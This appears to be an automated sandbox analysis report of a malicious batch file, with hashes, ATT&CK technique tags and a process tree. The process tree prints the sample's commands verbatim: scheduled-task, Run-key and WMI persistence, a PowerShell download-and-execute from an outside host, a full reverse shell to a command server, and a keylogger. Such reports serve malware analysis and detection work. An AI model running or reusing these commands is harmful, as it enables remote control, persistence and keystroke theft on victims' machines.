a845905fc2e807e896eea2e4bc6b8c8869a56727da2731a517534def579ede92

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:10

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General

Target
rat_build_86637_014257.bat
Size 4KB
Sample260529-13bxpaa12k
SHA256 a845905fc2e807e896eea2e4bc6b8c8869a56727da2731a517534def579ede92
MD5 609cbd266dceb694e1b88de0cec2d5a3
SHA1 2b7c217e612ece39bbe126e13d2ff63fea9cafae
SHA512 a7627c6834411df5436f40d6dc8fc52e680ada6f27060015018446bfa7dbee39501a9df074c3a27e4deac347630d039199aab6026cbcd4fd0f79463979afa533
SSDEEP 96:dITKCWMp4dtlMFV9HjA4BQqzWtTtU1FTNS/bO6z5xkAgrsmEKiFgZk8mvlo1rowF:dfVMpMOLBxzNTE/K6fkAG7iFgkHlWowF
TLSH
T18CA1E927579B522085F41918DF32385893ACDAFB2349D98DFA4CCEC80A8C643E5195D7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_86637.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1316	powershell.exe
3024	powershell.exe
4984	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_86637 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_86637.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3760	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1852	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3644	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1044	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1316	powershell.exe
1316	powershell.exe
3024	powershell.exe
3024	powershell.exe
4984	powershell.exe
4984	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3960	WMIC.exe
Token: SeSecurityPrivilege	3960	WMIC.exe
Token: SeTakeOwnershipPrivilege	3960	WMIC.exe
Token: SeLoadDriverPrivilege	3960	WMIC.exe
Token: SeSystemProfilePrivilege	3960	WMIC.exe
Token: SeSystemtimePrivilege	3960	WMIC.exe
Token: SeProfSingleProcessPrivilege	3960	WMIC.exe
Token: SeIncBasePriorityPrivilege	3960	WMIC.exe
Token: SeCreatePagefilePrivilege	3960	WMIC.exe
Token: SeBackupPrivilege	3960	WMIC.exe
Token: SeRestorePrivilege	3960	WMIC.exe
Token: SeShutdownPrivilege	3960	WMIC.exe
Token: SeDebugPrivilege	3960	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3960	WMIC.exe
Token: SeRemoteShutdownPrivilege	3960	WMIC.exe
Token: SeUndockPrivilege	3960	WMIC.exe
Token: SeManageVolumePrivilege	3960	WMIC.exe
Token: 33	3960	WMIC.exe
Token: 34	3960	WMIC.exe
Token: 35	3960	WMIC.exe
Token: 36	3960	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3960	WMIC.exe
Token: SeSecurityPrivilege	3960	WMIC.exe
Token: SeTakeOwnershipPrivilege	3960	WMIC.exe
Token: SeLoadDriverPrivilege	3960	WMIC.exe
Token: SeSystemProfilePrivilege	3960	WMIC.exe
Token: SeSystemtimePrivilege	3960	WMIC.exe
Token: SeProfSingleProcessPrivilege	3960	WMIC.exe
Token: SeIncBasePriorityPrivilege	3960	WMIC.exe
Token: SeCreatePagefilePrivilege	3960	WMIC.exe
Token: SeBackupPrivilege	3960	WMIC.exe
Token: SeRestorePrivilege	3960	WMIC.exe
Token: SeShutdownPrivilege	3960	WMIC.exe
Token: SeDebugPrivilege	3960	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3960	WMIC.exe
Token: SeRemoteShutdownPrivilege	3960	WMIC.exe
Token: SeUndockPrivilege	3960	WMIC.exe
Token: SeManageVolumePrivilege	3960	WMIC.exe
Token: 33	3960	WMIC.exe
Token: 34	3960	WMIC.exe
Token: 35	3960	WMIC.exe
Token: 36	3960	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeSecurityPrivilege	1672	WMIC.exe
Token: SeTakeOwnershipPrivilege	1672	WMIC.exe
Token: SeLoadDriverPrivilege	1672	WMIC.exe
Token: SeSystemProfilePrivilege	1672	WMIC.exe
Token: SeSystemtimePrivilege	1672	WMIC.exe
Token: SeProfSingleProcessPrivilege	1672	WMIC.exe
Token: SeIncBasePriorityPrivilege	1672	WMIC.exe
Token: SeCreatePagefilePrivilege	1672	WMIC.exe
Token: SeBackupPrivilege	1672	WMIC.exe
Token: SeRestorePrivilege	1672	WMIC.exe
Token: SeShutdownPrivilege	1672	WMIC.exe
Token: SeDebugPrivilege	1672	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1672	WMIC.exe
Token: SeRemoteShutdownPrivilege	1672	WMIC.exe
Token: SeUndockPrivilege	1672	WMIC.exe
Token: SeManageVolumePrivilege	1672	WMIC.exe
Token: 33	1672	WMIC.exe
Token: 34	1672	WMIC.exe
Token: 35	1672	WMIC.exe
Token: 36	1672	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2620 wrote to memory of 1044	2620	cmd.exe	83
PID 2620 wrote to memory of 3644	2620	cmd.exe	85
PID 2620 wrote to memory of 3960	2620	cmd.exe	86
PID 2620 wrote to memory of 1672	2620	cmd.exe	87
PID 2620 wrote to memory of 1392	2620	cmd.exe	88
PID 2620 wrote to memory of 1852	2620	cmd.exe	89
PID 2620 wrote to memory of 3760	2620	cmd.exe	94
PID 2620 wrote to memory of 1316	2620	cmd.exe	95
PID 2620 wrote to memory of 3024	2620	cmd.exe	96
PID 2620 wrote to memory of 4984	2620	cmd.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_86637_014257.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2620
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_86637" /tr "C:\Users\Admin\AppData\Local\Temp\_86637.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1044
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_86637" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_86637.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3644
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_86637", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3960
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_86637", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_86637.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_86637.txt
  2⤵
  PID:1392
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1852
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_86637.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
MD5 7a9772bc4c578c1736aa04a056f68da3
SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
TLSH
T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_d1curr44.pzf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1curr44.pzf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1316-4-0x0000028F835A0000-0x0000028F835C2000-memory.dmp

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